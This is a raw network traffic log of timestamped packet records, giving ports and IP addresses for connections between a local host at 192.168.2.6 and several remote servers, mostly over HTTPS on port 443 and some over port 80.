Dec 8, 2024 17:45:39.843285084 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.843444109 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.844466925 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.845238924 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.845267057 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.846030951 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.846043110 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.846342087 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.846394062 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.846501112 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.847220898 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.847229958 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.847285032 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.849199057 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.849210024 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.868587017 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.868602037 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.868870020 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.868885040 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.888488054 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.888519049 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.888714075 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.889458895 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:39.889472008 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:39.925470114 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:39.925537109 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.925852060 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.925865889 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:39.926191092 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.926198006 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:39.930636883 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.930661917 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:39.930740118 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.931027889 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:39.931035042 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:40.278552055 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.278624058 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.278939962 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.279139996 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.279161930 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.279176950 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.279184103 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.282200098 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.282231092 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.282332897 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.282541037 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:40.282551050 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:40.318721056 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:40.318744898 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:40.318809986 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:40.318831921 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:40.318864107 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:40.319734097 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:40.319755077 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:40.930543900 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:40.930655003 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.025958061 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.025985956 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.026323080 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.026331902 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.035651922 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.035711050 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.075943947 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.076044083 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.076950073 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.076960087 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.077274084 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.077280998 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.181752920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:41.181890965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:41.380471945 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.380559921 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.384291887 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.384371042 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.385162115 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.385256052 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.387703896 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.387717962 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.388633966 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.388638020 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.388921022 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.388946056 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.389352083 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.389355898 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.389616966 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.389622927 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.389964104 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.389966965 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.394473076 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.394536018 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.403810024 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.403898954 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.405870914 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.405877113 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.406313896 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.406316996 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.413132906 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.413217068 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.431142092 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.431159973 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.431402922 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.431467056 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.431777954 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.437360048 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.437371969 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.437526941 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.437531948 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.437602043 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.437690020 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.442514896 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.442527056 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.442781925 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.442893028 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.445404053 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.448267937 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.448278904 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.448534966 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.448586941 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.448772907 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.475327969 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.491328001 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.495321989 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.612781048 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.612804890 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.612930059 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.612946033 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.612997055 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.614398956 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.614439011 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.614476919 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.614499092 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.643414021 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.643435001 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.643507957 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.643544912 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.643949986 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.644117117 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.644165993 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:41.644215107 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:41.664834023 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:41.667479992 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:41.820697069 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.820758104 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.820904016 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.822354078 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.822419882 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.822971106 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.823014021 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.823039055 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.823064089 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.823076963 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.823127031 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.823127985 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.859586000 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.859616041 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.859632015 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.859770060 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.859785080 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.859839916 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.884852886 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.884879112 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.884892941 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.884918928 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.884968042 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.884974003 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.885021925 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.886890888 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.886918068 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.886933088 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.886956930 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.886976957 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.887010098 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.887037992 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.907052040 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.907083035 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.907095909 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.907217026 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.907241106 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:41.907332897 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:41.974562883 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.974574089 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.976672888 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.976677895 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.976716042 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.976720095 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.977703094 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.977709055 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.978471041 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.978473902 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.989204884 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.989255905 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.989322901 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.990684986 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.990706921 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.990787983 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.991534948 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.991555929 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.992269039 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.992300987 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.992419958 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.992556095 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.992568970 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.992703915 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.992713928 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.993360043 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.993385077 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:41.993608952 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.993746042 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:41.993756056 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.001159906 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.001718998 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.001729965 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.002294064 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.002300024 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.042423964 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.042452097 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.042509079 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.042521954 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.042582035 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.062920094 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.062947989 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.063021898 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.063033104 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.063091993 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.072638035 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.072668076 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.072783947 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.072799921 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.072813988 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.072864056 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.090392113 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.090411901 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.090476990 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.090487957 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.090532064 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.092297077 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.092324972 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.092412949 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.092422009 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.092448950 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.092502117 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.109113932 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.109143019 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.109196901 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.109204054 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.109255075 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.126681089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.127660036 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.127686024 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.127744913 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.127753019 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.127805948 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.127834082 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.141602039 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.141625881 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.141673088 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.141685963 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.141716957 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.141768932 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.163171053 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.163188934 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.163532972 CET	49816	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.163537979 CET	443	49816	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.210874081 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.210894108 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.210958004 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.210967064 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.211025000 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.230864048 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.230890036 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.230906963 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:42.230923891 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:42.230937958 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.230945110 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.230993032 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.241272926 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.241297007 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.241369963 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.241378069 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.241621971 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.245585918 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.245615005 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.245659113 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.245667934 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.245706081 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.245706081 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.245918036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.248728991 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:42.248748064 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:42.256608009 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.256637096 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.256692886 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.256699085 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.256740093 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.260175943 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.260199070 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.260301113 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.260333061 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.260418892 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.265149117 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.265166998 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.265230894 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.265243053 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.265285969 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.281174898 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.281203985 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.281295061 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.281301022 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.281343937 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.284993887 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.285012007 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.285089016 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.285095930 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.285414934 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.286684990 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.286710978 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.286782980 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.286797047 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.286894083 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.290431023 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.290452957 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.290551901 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.290560007 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.290617943 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.301778078 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.301801920 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.301837921 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.301893950 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.301899910 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.301955938 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.307764053 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.307790995 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.307842970 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.307849884 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.307884932 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.307904005 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.312551975 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.312567949 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.312661886 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.312670946 CET	443	49815	150.171.27.10	192.168.2.6
